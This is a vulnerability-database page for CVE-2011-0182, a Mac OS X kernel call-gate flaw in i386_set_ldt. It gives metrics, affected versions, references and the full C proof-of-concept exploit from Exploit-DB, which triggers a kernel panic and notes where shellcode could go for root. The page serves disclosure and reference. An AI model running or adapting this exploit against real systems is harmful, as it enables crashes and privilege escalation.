CVE-2011-0182 : Detail

CVE-2011-0182

A03-Injection
0.33%V4
Local
2011-03-23
00h00 +00:00
2012-02-14
09h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The i386_set_ldt system call in the kernel in Apple Mac OS X before 10.6.7 does not properly handle call gates, which allows local users to gain privileges via vectors involving the creation of a call gate entry.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 17901

Publication date : 2011-09-27 22h00 +00:00
Author : hkpco
EDB Verified : No

/* Mac OS X < 10.6.7 Kernel Panic Exploit CVE-2011-0182, Proof Of Concept Code Author - Chanam Park (hkpco) Date - 2011. 06 Contact - chanam.park@hkpco.kr , http://hkpco.kr , @hkpco Thanks for inspiration / x82, riaf. */ // Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32 #include <architecture/i386/table.h> #include <i386/user_ldt.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> void dummy_func( void ) { asm volatile( ".byte 0xff" ); } int main( void ) { int ret; union ldt_entry cgate, cgate2; char dummy[128] = {0x00,}; cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff; cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff; // You can input shellcode address value here to get the root shell. /* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p The normal system has a little different environment. I have no time for this anymore because of my summer break is over. So.. Good Luck! */ cgate.call_gate.argcnt = 0; cgate.call_gate.type = 0xc; // DESC_CALL_GATE cgate.call_gate.dpl = 3; cgate.call_gate.present = 1; cgate.call_gate.seg.rpl = 0; cgate.call_gate.seg.ti = 0; cgate.call_gate.seg.index = 16; cgate2.call_gate.offset00 = 0x0; cgate2.call_gate.seg.rpl = 0; cgate2.call_gate.seg.ti = 0; cgate2.call_gate.seg.index = 0; cgate2.call_gate.argcnt = 0; cgate2.call_gate.type = 0; cgate2.call_gate.dpl = 0; cgate2.call_gate.present = 1; cgate2.call_gate.offset16 = 0x0; printf( "// coded by Chanam Park (hkpco)\n\n" ); ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 ); printf( "Selector Number in LDT <1>: 0x%x\n", ret ); ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 ); printf( "Selector Number in LDT <2>: 0x%x\n\n", ret ); printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" ); printf( "The program will be continued when you input any value.\n" ); printf( "-> " ); fflush(stdout); scanf( "%s", dummy ); asm volatile( "lcall $0x3f, $0x0" ); // Trigger return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.6.6

Apple>>Mac_os_x >> Version 10.6.0

Apple>>Mac_os_x >> Version 10.6.1

Apple>>Mac_os_x >> Version 10.6.2

Apple>>Mac_os_x >> Version 10.6.3

Apple>>Mac_os_x >> Version 10.6.4

Apple>>Mac_os_x >> Version 10.6.5

Configuraton 0

Apple>>Mac_os_x_server >> Version To (including) 10.6.6

Apple>>Mac_os_x_server >> Version 10.6.0

Apple>>Mac_os_x_server >> Version 10.6.1

Apple>>Mac_os_x_server >> Version 10.6.2

Apple>>Mac_os_x_server >> Version 10.6.3

Apple>>Mac_os_x_server >> Version 10.6.4

Apple>>Mac_os_x_server >> Version 10.6.5

References

http://securityreason.com/securityalert/8402
Tags : third-party-advisory, x_refsource_SREASON
http://support.apple.com/kb/HT4581
Tags : x_refsource_CONFIRM